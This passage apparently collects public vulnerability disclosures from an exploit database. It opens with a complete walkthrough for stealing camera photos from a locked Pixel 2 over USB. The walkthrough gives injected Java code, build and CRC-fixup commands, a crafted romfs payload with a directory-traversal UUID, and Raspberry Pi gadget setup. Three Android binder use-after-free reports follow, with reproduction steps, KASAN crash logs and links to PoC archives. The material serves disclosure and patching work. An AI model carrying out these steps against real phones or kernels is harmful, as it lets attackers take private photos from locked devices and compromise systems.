superblock when the kernel is reading. I haven't tested this yet because I don't
yet have the necessary hardware.
When you fix this issue, please don't just fix the injection and/or the
directory traversal. I believe that from a security perspective, a smartphone
should not mount storage devices that are inserted while the screen is locked
(or, more generally, communication with new USB devices should be limited while
the screen is locked). Mounting a USB storage device exposes a lot of code to
the connected device, including partition table parsing, vold logic, blkid, the
kernel's FAT filesystem implementation, and anything on the device that might
decide to read files from the connected storage device.
############################################################
This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running
build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as
victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some
other device you can use for device mode USB), a powered USB hub, and some
cables.
The victim phone must be powered on, the disk encryption keys must be unlocked
(meaning that you must have entered your PIN/passphrase at least once since
boot), and the attack probably won't work if someone has recently (since the
last reboot) inserted a USB stick into the phone.
Configure the Raspberry Pi Zero W such that it is usable for gadget mode
(see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41).
Apply the following patch to frameworks/base in your AOSP build tree:
=========================================
diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
index 8a6c7d68525..73be5818da1 100644
--- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
+++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
@@ -20,10 +20,38 @@ import android.content.BroadcastReceiver;
import android.content.ContentProviderClient;
import android.content.Context;
import android.content.Intent;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
public class MountReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
+ System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES...");
+ try {
+ File exfiltration_dir = new File("/data/exfiltrated-photos");
+ exfiltration_dir.mkdir();
+ File camera_dir = new File("/storage/emulated/0/DCIM/Camera");
+ File[] camera_files = camera_dir.listFiles();
+ for (File camera_file: camera_files) {
+ System.logE("GRABBING '"+camera_file.getName()+"'");
+ File exfiltrated_file = new File(exfiltration_dir, camera_file.getName());
+ exfiltrated_file.delete();
+ FileInputStream ins = new FileInputStream(camera_file);
+ FileOutputStream outs = new FileOutputStream(exfiltrated_file);
+ byte[] buf = new byte[4096];
+ int len;
+ while ((len=ins.read(buf)) > 0) {
+ outs.write(buf, 0, len);
+ }
+ ins.close();
+ outs.close();
+ }
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ System.logE("INJECTED CODE DONE");
+
final ContentProviderClient client = context.getContentResolver()
.acquireContentProviderClient(ExternalStorageProvider.AUTHORITY);
try {
=========================================
Then build the tree ("lunch aosp_walleye-userdebug", then build with "make").
Zip the classes.dex build artifact of ExternalStorageProvider:
$ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex
adding: classes.dex (deflated 49%)
$ mv zipped_dexfile.zip zipped_dexfile
Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows:
$ unzip image-walleye-opm2.171026.006.c1.zip
$ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal
$ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image
Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image:
$ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken
The resulting vdex file would not be accepted by the phone because of a CRC32
checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use
it to overwrite the CRC32 checksum with the expected one from the factory image:
$ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk
original crc32: d0473780
new crc32: 84c10ae9
vdex patched
Prepare two disk images, each with a MBR partition table and a single partition.
Their partition tables should be identical.
In the first image's partition, place a fake romfs filesystem that triggers the
vold bug:
# echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1
Format the second image's partition with FAT32, and create the following
directory structure inside that filesystem (the "system@" entries are files, the
rest are directories):
├── dalvik-cache
│ └── arm64
│ ├── system@framework@boot.art
│ ├── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
│ └── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
├── LOST.DIR
├── misc
│ └── profiles
│ └── cur
│ └── 0
│ └── com.android.externalstorage
├── user
│ └── 0
│ └── com.android.externalstorage
│ └── cache
└── user_de
└── 0
└── com.android.externalstorage
└── code_cache
The three system@ files should have the following contents:
- system@framework@boot.art should be a copy of system/framework/arm64/boot.art
from the system image.
- system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
should be the generated package.odex.
- system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
should be the fixed-up package.vdex.
Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should
be named "disk_image_blkid", the image with FAT32 should be named
"disk_image_mount". On the Pi, build the fuse_intercept helper:
$ gcc -Wall fuse_intercept.c `pkg-config fuse --cflags --libs` -o fuse_intercept
Then create a directory "mount" and launch fuse_intercept.
In a second terminal, tell the Pi's kernel to present the contents of the mount
point as a mass storage device:
pi@raspberrypi:~ $ sudo modprobe dwc2
pi@raspberrypi:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0
To run the attack, connect the Pi to the powered USB hub as a device. Then use
a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect
the powered hub to the locked phone, with the phone in USB host mode.
At this point, the phone should first mount the USB stick over
/data, then immediately afterwards launch
com.android.externalstorage/.MountReceiver:
06-05 21:58:20.988 656 665 I Vold : Filesystem check completed OK
06-05 21:58:20.988 1115 1235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:20.990 1115 1235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:21.004 1115 1235 D VoldConnector: RCV <- {651 public:8,97 2}
06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.006 1115 1235 D VoldConnector: RCV <- {200 7 Command succeeded}
06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.008 1335 1335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}:
06-05 21:58:21.008 1335 1335 D StorageNotification: type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0
06-05 21:58:21.008 1335 1335 D StorageNotification: state=MOUNTED
06-05 21:58:21.008 1335 1335 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
06-05 21:58:21.008 1335 1335 D StorageNotification: path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data
06-05 21:58:21.020 1115 1129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver
Most processes can't access the vfat filesystem that is now mounted at /data
either because they lack the necessary groups or because of some SELinux rule.
But com.android.externalstorage passes both checks and can read and write (but
not execute) files from the new /data. Bytecode is loaded from
/data/dalvik-cache/arm64/system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
and then interpreted, allowing the attacker to steal photos from the device
(since com.android.externalstorage has access to /storage/emulated/0):
06-05 21:58:21.248 4478 4478 I zygote64: The ClassLoaderContext is a special shared library.
06-05 21:58:21.276 4478 4478 W zygote64: JIT profile information will not be recorded: profile file does not exits.
06-05 21:58:21.278 4478 4478 W asset : failed to open idmap file /data/resource-cache/vendor@overlay@Pixel@PixelThemeOverlay.apk@idmap
06-05 21:58:21.326 4478 4478 D ExternalStorage: After updating volumes, found 3 active roots
06-05 21:58:21.334 4478 4478 E System : MOUNTRECEIVER CODE INJECTED, GRABBING FILES...
06-05 21:58:21.343 4478 4478 E System : GRABBING 'IMG_20180605_212044.jpg'
06-05 21:58:21.419 4478 4478 E System : GRABBING 'IMG_20180605_215031.jpg'
06-05 21:58:21.428 2218 2218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db
06-05 21:58:21.465 4478 4478 E System : INJECTED CODE DONE
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45192.zip
This bug report describes *two* different issues in different branches of the
binder kernel code.
The first issue is in the upstream Linux kernel,
commit 7f3dc0088b98 ("binder: fix proc->files use-after-free");
the second issue is in the wahoo kernel (and maybe elsewhere? but at least the
android common kernel for 4.4 doesn't seem to contain this code...),
commit 1b652c7c29b7 ("FROMLIST: binder: fix proc->files use-after-free")
(WARNING: NOT the same as "UPSTREAM: binder: fix proc->files use-after-free" in
the android common kernel!).
Some background: In the Linux kernel, normally, when a `struct file *` is read
from the file descriptor table, the reference counter of the `struct file` is
bumped to account for the extra reference; this happens in fget(). Later, if the
extra reference is not needed anymore, the refcount is dropped via fput().
A negative effect of this is that, if the `struct file` is frequently accessed,
the cacheline containing the reference count is constantly dirty; and if the
`struct file` is used by multiple tasks in parallel, cache line bouncing occurs.
Linux provides the helpers fdget() and fdput() to avoid this overhead.
fdget() checks whether the reference count of the file descriptor table is 1,
implying that the current task has sole ownership of the file descriptor table
and no concurrent modifications of the file descriptor table can occur. If this
check succeeds, fdget() then omits the reference count increment on the
`struct file`. fdget() sets a flag in its return value that signals to fdput()
whether a reference count has been taken. If so, fdput() uses the normal fput()
logic; if not, fdput() does nothing.
This optimization relies on a few rules, including:
A) A reference taken via fdget() must be dropped with fdput() before the end of
the syscall.
B) A task's reference to its file descriptor table may only be duplicated for
writing if that task is known to not be between fdget() and fdput().
C) A task that might be between an elided fdget() and fdput() must not
use ksys_close() on the same file descriptor number as used for fdget().
The current upstream code violates rule C. The following sequence of events can
cause fput() to drop the reference count of an in-use binder file to drop to
zero:
Task A and task B are connected via binder; task A has /dev/binder open at
file descriptor number X. Both tasks are single-threaded.
- task B sends a binder message with a file descriptor array (BINDER_TYPE_FDA)
containing one file descriptor to task A
- task A reads the binder message with the translated file descriptor number Y
- task A uses dup2(X, Y) to overwrite file descriptor Y with the /dev/binder
file
- task A unmaps the userspace binder memory mapping; the reference count on
task A's /dev/binder is now 2
- task A closes file descriptor X; the reference count on task A's /dev/binder
is now 1
- task A invokes the BC_FREE_BUFFER command on file descriptor X to release the
incoming binder message
- fdget() elides the reference count increment, since the file descriptor
table is not shared
- the BC_FREE_BUFFER handler removes the file descriptor table entry for X and
decrements the reference count of task A's /dev/binder file to zero
Because fput() uses the task work mechanism to actually free the file, this
doesn't immediately cause a use-after-free that KASAN can detect; for that, the
following sequence of events works:
[...]
- task A closes file descriptor X; the reference count on task A's /dev/binder
is now 1
- task A forks off a child, task C, duplicating the file descriptor table; the
reference count on task A's /dev/binder is now 2
- task A invokes the BC_FREE_BUFFER command on file descriptor X to release the
incoming binder message
- fdget() in ksys_ioctl() elides the reference count increment, since the file
descriptor table is not shared
- the BC_FREE_BUFFER handler removes the file descriptor table entry for X and
decrements the reference count of task A's /dev/binder file to 1
- task C calls close(X), which drops the reference count of task A's
/dev/binder to 0 and frees it
- task A continues processing of the ioctl and accesses some property of e.g.
the binder_proc => KASAN-detectable UAF
To reproduce this on an upstream git master kernel on a normal machine, unpack
the attached binder_fdget.tar, apply the patch
0001-binder-upstream-repro-aid.patch to the kernel (adds some logging and an
msleep() call), make sure that the kernel is configured with Binder and KASAN,
build and boot into the kernel, then build the PoC with ./compile.sh.
Invoke "./exploit_manager" in one terminal and "./exploit_client" in another
terminal. You should see a splat like this in dmesg:
=================
[ 90.900693] BUG: KASAN: use-after-free in mutex_lock+0x77/0xd0
[ 90.903933] Write of size 8 at addr ffff8881da262720 by task exploit_client/1222
[ 90.908991] CPU: 4 PID: 1222 Comm: exploit_client Tainted: G W 4.20.0-rc3+ #214
[ 90.911524] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 90.913989] Call Trace:
[ 90.914768] dump_stack+0x71/0xab
[ 90.915782] print_address_description+0x6a/0x270
[ 90.917199] kasan_report+0x260/0x380
[ 90.918307] ? mutex_lock+0x77/0xd0
[ 90.919387] mutex_lock+0x77/0xd0
[...]
[ 90.925971] binder_alloc_prepare_to_free+0x22/0x130
[ 90.927429] binder_thread_write+0x7c1/0x1b20
[...]
[ 90.944008] binder_ioctl+0x916/0xe80
[...]
[ 90.955530] do_vfs_ioctl+0x134/0x8f0
[...]
[ 90.961135] ksys_ioctl+0x70/0x80
[ 90.962070] __x64_sys_ioctl+0x3d/0x50
[ 90.963125] do_syscall_64+0x73/0x160
[ 90.964162] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[...]
[ 90.984647] Allocated by task 1222:
[ 90.985614] kasan_kmalloc+0xa0/0xd0
[ 90.986602] kmem_cache_alloc_trace+0x6e/0x1e0
[ 90.987818] binder_open+0x93/0x3d0
[ 90.988806] misc_open+0x18f/0x230
[ 90.989744] chrdev_open+0x14d/0x2d0
[ 90.990725] do_dentry_open+0x455/0x6b0
[ 90.991809] path_openat+0x52e/0x20d0
[ 90.992822] do_filp_open+0x124/0x1d0
[ 90.993824] do_sys_open+0x213/0x2c0
[ 90.994802] do_syscall_64+0x73/0x160
[ 90.995804] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 90.997605] Freed by task 12:
[ 90.998420] __kasan_slab_free+0x130/0x180
[ 90.999538] kfree+0x90/0x1d0
[ 91.000361] binder_deferred_func+0x7b1/0x890
[ 91.001564] process_one_work+0x42b/0x790
[ 91.002651] worker_thread+0x69/0x690
[ 91.003647] kthread+0x1ae/0x1d0
[ 91.004530] ret_from_fork+0x35/0x40
[ 91.005919] The buggy address belongs to the object at ffff8881da2625a8
which belongs to the cache kmalloc-1k of size 1024
[ 91.009267] The buggy address is located 376 bytes inside of
1024-byte region [ffff8881da2625a8, ffff8881da2629a8)
[...]
=================
The code in the msm kernel (at least branches android-msm-wahoo-4.4-pie and
android-msm-wahoo-4.4-pie-qpr1) contains a different bug. In this version of the
code, the binder driver does not hold a long-lived reference to the files_struct
of each task, as it used to, but instead uses
binder_get_files_struct()->get_files_struct() to grab the file descriptor table
of the target task for short-lived operations. Apart from the problems in
interaction with non-bounded privilege transitions, this is also problematic
because it violates rule B: In particular task_close_fd() can close a file
descriptor in another process while that other process is potentially in the
middle of a filesystem operation that uses an elided fdget().
The bug triggers in the following scenario (not quite what my PoC does, but
should give you the basic idea):
- task B opens some file as file descriptor number Y
- task A starts sending a transaction to task B
- the kernel transfers one file descriptor to task B, creating file descriptor
number X in task B
- task B uses dup2(Y, X) to override file descriptor number X with file F
- task B closes file descriptor number Y
- task B enters a syscall such as read()/write()/... on file descriptor number
X
- the kernel continues transferring the transaction from A, but encounters an
error (e.g. invalid fd number) and has to bail out, triggering cleanup of
already-transferred file descriptors
- while task B is in the middle of a syscall, task A closes task B's file
descriptor number X
To test this on-device, I would have to write code to talk to the service
manager and somehow get the service manager to connect two binder files with
each other for me, which seems complicated. Therefore, instead, I took the
following files from the Android wahoo kernel and copied them into an upstream
git master tree, then fixed up the incompatibilities:
drivers/android/Kconfig
drivers/android/Makefile
drivers/android/binder.c
drivers/android/binder_alloc.c
drivers/android/binder_alloc.h
drivers/android/binder_trace.h
include/uapi/linux/android/binder.h
The attached binder_fdget_wahoo.tar contains three patches:
0001-copy-over-binder-files-from-wahoo-4.4.patch: copy the files from wahoo into
the upstream git master tree
0002-fix-up-for-git-master.patch: make it build
0003-binder-stuff-for-testing.patch: add some sleeps and prints for reproducing
the bug
Apply these to the upstream kernel and build it (make sure that it is configured
to build with binder and KASAN). Then compile the wahoo PoC with ./compile.sh,
run ./exploit_manager in one terminal, and run ./exploit_client in another
terminal. You should get a splat like this:
=================
[ 204.465949] BUG: KASAN: use-after-free in _raw_spin_lock+0x78/0xe0
[ 204.469894] Write of size 4 at addr ffff8881db79e84c by task exploit_client/1255
[ 204.473958] CPU: 6 PID: 1255 Comm: exploit_client Not tainted 4.20.0-rc3+ #218
[ 204.476098] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 204.479413] Call Trace:
[ 204.480169] dump_stack+0x71/0xab
[ 204.481187] print_address_description+0x6a/0x270
[ 204.482591] kasan_report+0x260/0x380
[ 204.484156] ? _raw_spin_lock+0x78/0xe0
[ 204.485336] _raw_spin_lock+0x78/0xe0
[...]
[ 204.491337] binder_update_ref_for_handle+0x34/0x280
[ 204.492811] binder_thread_write+0xab4/0x1b70
[...]
[ 204.511627] binder_ioctl_write_read.isra.55+0x155/0x3e0
[...]
[ 204.516826] binder_ioctl+0x5da/0x880
[...]
[ 204.522154] do_vfs_ioctl+0x134/0x8f0
[...]
[ 204.530212] ksys_ioctl+0x70/0x80
[ 204.531142] __x64_sys_ioctl+0x3d/0x50
[ 204.532193] do_syscall_64+0x73/0x160
[ 204.533495] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[...]
[ 204.553564] Allocated by task 1255:
[ 204.554521] kasan_kmalloc+0xa0/0xd0
[ 204.555507] kmem_cache_alloc_trace+0x6e/0x1e0
[ 204.556729] binder_open+0x90/0x400
[ 204.557681] misc_open+0x18f/0x230
[ 204.558603] chrdev_open+0x14d/0x2d0
[ 204.559573] do_dentry_open+0x455/0x6b0
[ 204.560620] path_openat+0x52e/0x20d0
[ 204.561618] do_filp_open+0x124/0x1d0
[ 204.562617] do_sys_open+0x213/0x2c0
[ 204.563588] do_syscall_64+0x73/0x160
[ 204.564580] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 204.566378] Freed by task 7:
[ 204.567156] __kasan_slab_free+0x130/0x180
[ 204.568251] kfree+0x90/0x1d0
[ 204.569059] binder_deferred_func+0x742/0x7d0
[ 204.570229] process_one_work+0x42b/0x790
[ 204.571304] worker_thread+0x69/0x690
[ 204.572289] kthread+0x1ae/0x1d0
[ 204.573265] ret_from_fork+0x35/0x40
[ 204.574643] The buggy address belongs to the object at ffff8881db79e628
which belongs to the cache kmalloc-1k of size 1024
[ 204.578833] The buggy address is located 548 bytes inside of
1024-byte region [ffff8881db79e628, ffff8881db79ea28)
[...]
=================
I think the robust fix for this might be to change ksys_ioctl() and the compat
ioctl syscall to use fget()/fput() instead of fdget()/fdput(). Unless someone
out there has a workload that very frequently calls ioctl() from concurrent
single-threaded processes that share a struct file, I doubt that this would have
significant performance impact, and I think it should be an appropriate fix for
the upstream kernel, too.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46356.zip
The following bug report solely looks at the situation on the upstream master
branch; while from a cursory look, at least the wahoo kernel also looks
affected, I have only properly tested this on upstream master.
There is a race condition between the direct reclaim path (enters binder through
the binder_shrinker) and the munmap() syscall (enters binder through the ->close
handler of binder_vm_ops).
Coming from the munmap() syscall:
binder_vma_close()->binder_alloc_vma_close()->binder_alloc_set_vma() sets
alloc->vma to NULL without taking any extra locks; binder_vma_close() is called
from remove_vma()<-remove_vma_list()<-__do_munmap()<-__vm_munmap()<-sys_munmap()
with only the mmap_sem held for writing.
Coming through the direct reclaim path:
binder_alloc_free_page() doesn't hold the mmap_sem on entry. It contains the
following code (comments added by me):
enum lru_status binder_alloc_free_page(struct list_head *item,
struct list_lru_one *lru,
spinlock_t *lock,
void *cb_arg)
{
[...]
alloc = page->alloc;
if (!mutex_trylock(&alloc->mutex))
goto err_get_alloc_mutex_failed;
if (!page->page_ptr)
goto err_page_already_freed;
index = page - alloc->pages;
page_addr = (uintptr_t)alloc->buffer + index * PAGE_SIZE;
// unprotected pointer read! `vma` can immediately be freed
vma = binder_alloc_get_vma(alloc);
if (vma) {
if (!mmget_not_zero(alloc->vma_vm_mm))
goto err_mmget;
mm = alloc->vma_vm_mm;
if (!down_write_trylock(&mm->mmap_sem))
goto err_down_write_mmap_sem_failed;
// mmap_sem is held at this point, but the vma pointer was read
// before and can be dangling
}
list_lru_isolate(lru, item);
spin_unlock(lock);
if (vma) {
trace_binder_unmap_user_start(alloc, index);
// dangling vma pointer passed to zap_page_range
zap_page_range(vma,
page_addr + alloc->user_buffer_offset,
PAGE_SIZE);
trace_binder_unmap_user_end(alloc, index);
up_write(&mm->mmap_sem);
mmput(mm);
}
Repro instructions:
Unpack the attached binder_race_freevma.tar.
Apply the patch 0001-binder-VMA-unprotected-read-helper.patch to an upstream
git master tree to widen the race window.
Make sure that KASAN is enabled in your kernel config.
Build and boot into the built kernel.
Run "echo 16383 > /sys/module/binder/parameters/debug_mask" for more dmesg debug
output.
Compile the PoC with ./compile.sh and, as root, run ./poc to trigger the bug.
The output of the PoC should look like this:
======================
# ./poc
### PING
0000: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION:
target 0000000000000000 cookie 0000000000000000 code 00000001 flags 00000010
pid 1266 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
got transaction!
binder_send_reply(status=0)
offsets=0x7fffb76cf6c0, offsets_size=0
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
### FLUSHING PAGES
BR_NOOP:
BR_TRANSACTION_COMPLETE:
### END OF PAGE FLUSH
binder_done: freeing buffer
binder_done: free done
### PING DONE
### FLUSHING PAGES
$$$ sleeping before munmap...
$$$ calling munmap now...
$$$ munmap done
### END OF PAGE FLUSH
Killed
======================
The dmesg splat should look like this:
======================
[ 803.130180] binder: binder_open: 1265:1265
[ 803.132143] binder: binder_mmap: 1265 7fdcbc599000-7fdcbc999000 (4096 K) vma 71 pagep 8000000000000025
[ 803.135861] binder: 1265:1265 node 1 u0000000000000000 c0000000000000000 created
[ 803.138748] binder: 1265:1265 write 4 at 00007fffb76cf820, read 0 at 0000000000000000
[ 803.141875] binder: 1265:1265 BC_ENTER_LOOPER
[ 803.143634] binder: 1265:1265 wrote 4 of 4, read return 0 of 0
[ 803.146073] binder: 1265:1265 write 0 at 0000000000000000, read 128 at 00007fffb76cf820
[ 804.130600] binder: binder_open: 1266:1266
[ 804.132909] binder: binder_mmap: 1266 7fdcbc599000-7fdcbc999000 (4096 K) vma 71 pagep 8000000000000025
[ 804.138535] binder: 1266:1266 write 68 at 00007fffb76cf850, read 128 at 00007fffb76cf7d0
[ 804.142411] binder: 1266:1266 BC_TRANSACTION 2 -> 1265 - node 1, data 00007fffb76cf9a0-00007fffb76cf980 size 4-0-0
[ 804.146208] binder: 1265:1265 BR_TRANSACTION 2 1266:1266, cmd -2143260158 size 4-0 ptr 00007fdcbc599000-00007fdcbc599008
[ 804.152836] binder: 1265:1265 wrote 0 of 0, read return 72 of 128
[ 804.156944] binder: 1265:1265 write 88 at 00007fffb76cf5a0, read 0 at 0000000000000000
[ 804.159315] binder: 1265:1265 BC_FREE_BUFFER u00007fdcbc599000 found buffer 2 for active transaction
[ 804.161715] binder: 1265 buffer release 2, size 4-0, failed at 000000003c152ea0
[ 804.164114] binder: 1265:1265 BC_REPLY 3 -> 1266:1266, data 00007fffb76cf6e0-00007fffb76cf6c0 size 4-0-0
[ 804.166646] binder: 1265:1265 wrote 88 of 88, read return 0 of 0
[ 804.166756] binder: 1266:1266 BR_TRANSACTION_COMPLETE
[ 804.168323] binder: 1265:1265 write 0 at 0000000000000000, read 128 at 00007fffb76cf820
[ 804.169876] binder: 1266:1266 BR_REPLY 3 0:0, cmd -2143260157 size 4-0 ptr 00007fdcbc599000-00007fdcbc599008
[ 804.171919] binder: 1265:1265 BR_TRANSACTION_COMPLETE
[ 804.174743] binder: 1266:1266 wrote 68 of 68, read return 76 of 128
[ 804.176003] binder: 1265:1265 wrote 0 of 0, read return 8 of 128
[ 804.179416] binder: 1265:1265 write 0 at 0000000000000000, read 128 at 00007fffb76cf820
[ 804.179755] binder_alloc: binder_alloc_free_page() starting delay for alloc=000000005f5225f3
[ 804.680227] binder_alloc: binder_alloc_free_page() ending delay for alloc=000000005f5225f3
[ 804.735851] poc (1266): drop_caches: 2
[ 804.772381] binder: 1266:1266 write 12 at 00007fffb76cf8d4, read 0 at 0000000000000000
[ 804.774629] binder: 1266:1266 BC_FREE_BUFFER u00007fdcbc599000 found buffer 3 for finished transaction
[ 804.791063] binder: 1266 buffer release 3, size 4-0, failed at 000000003c152ea0
[ 804.792753] binder: 1266:1266 wrote 12 of 12, read return 0 of 0
[ 804.833806] binder_alloc: binder_alloc_free_page() starting delay for alloc=0000000083fec45f
[ 805.034060] binder: 1266 close vm area 7fdcbc599000-7fdcbc999000 (4096 K) vma 18020051 pagep 8000000000000025
[ 805.041265] binder_alloc: starting binder_alloc_vma_close() for alloc=0000000083fec45f
[ 805.045625] binder_alloc: ending binder_alloc_vma_close() for alloc=0000000083fec45f
[ 805.331890] binder_alloc: binder_alloc_free_page() ending delay for alloc=0000000083fec45f
[ 805.333845] ==================================================================
[ 805.338188] BUG: KASAN: use-after-free in zap_page_range+0x7c/0x270
[ 805.342064] Read of size 8 at addr ffff8881cd86ba80 by task poc/1266
[ 805.346390] CPU: 0 PID: 1266 Comm: poc Not tainted 4.20.0-rc3+ #222
[ 805.348277] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 805.350777] Call Trace:
[ 805.351528] dump_stack+0x71/0xab
[ 805.352536] print_address_description+0x6a/0x270
[ 805.353947] kasan_report+0x260/0x380
[...]
[ 805.356241] zap_page_range+0x7c/0x270
[...]
[ 805.363990] binder_alloc_free_page+0x41a/0x560
[...]
[ 805.369678] __list_lru_walk_one.isra.12+0x8c/0x1c0
[...]
[ 805.373458] list_lru_walk_one+0x42/0x60
[ 805.374666] binder_shrink_scan+0xe2/0x130
[...]
[ 805.378626] shrink_slab.constprop.89+0x252/0x530
[...]
[ 805.383716] drop_slab+0x3b/0x70
[ 805.384721] drop_caches_sysctl_handler+0x4d/0xc0
[ 805.386150] proc_sys_call_handler+0x162/0x180
[...]
[ 805.392156] __vfs_write+0xc4/0x370
[...]
[ 805.399347] vfs_write+0xe7/0x230
[ 805.400355] ksys_write+0xa1/0x120
[...]
[ 805.403501] do_syscall_64+0x73/0x160
[ 805.404488] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[...]
[ 805.424394] Allocated by task 1266:
[ 805.425372] kasan_kmalloc+0xa0/0xd0
[ 805.426264] kmem_cache_alloc+0xdc/0x1e0
[ 805.427349] vm_area_alloc+0x1b/0x80
[ 805.428398] mmap_region+0x4db/0xa60
[ 805.429708] do_mmap+0x44d/0x6f0
[ 805.430564] vm_mmap_pgoff+0x163/0x1b0
[ 805.431664] ksys_mmap_pgoff+0x2cf/0x330
[ 805.432791] do_syscall_64+0x73/0x160
[ 805.433839] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 805.435754] Freed by task 1267:
[ 805.436527] __kasan_slab_free+0x130/0x180
[ 805.437650] kmem_cache_free+0x73/0x1c0
[ 805.438812] remove_vma+0x8d/0xa0
[ 805.439792] __do_munmap+0x443/0x690
[ 805.440871] __vm_munmap+0xbf/0x130
[ 805.441882] __x64_sys_munmap+0x3c/0x50
[ 805.442926] do_syscall_64+0x73/0x160
[ 805.443951] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 805.445926] The buggy address belongs to the object at ffff8881cd86ba40
which belongs to the cache vm_area_struct of size 200
[ 805.449363] The buggy address is located 64 bytes inside of
200-byte region [ffff8881cd86ba40, ffff8881cd86bb08)
[...]
[ 805.475924] ==================================================================
[ 805.477921] Disabling lock debugging due to kernel taint
[ 805.479843] poc (1266): drop_caches: 2
[ 810.482080] binder: 1265 close vm area 7fdcbc599000-7fdcbc999000 (4096 K) vma 18020051 pagep 8000000000000025
[ 810.482406] binder: binder_flush: 1266 woke 0 threads
[ 810.488231] binder_alloc: starting binder_alloc_vma_close() for alloc=000000005f5225f3
[ 810.490091] binder: binder_deferred_release: 1266 threads 1, nodes 0 (ref 0), refs 0, active transactions 0
[ 810.493418] binder_alloc: ending binder_alloc_vma_close() for alloc=000000005f5225f3
[ 810.498145] binder: binder_flush: 1265 woke 0 threads
[ 810.499442] binder: binder_deferred_release: 1265 context_mgr_node gone
[ 810.501178] binder: binder_deferred_release: 1265 threads 1, nodes 1 (ref 0), refs 0, active transactions 0
======================
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46357.zip
The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm (and possibly others):
There is a use-after-free of the wait member in the binder_thread struct in the binder driver at /drivers/android/binder.c.
As described in the upstream commit:
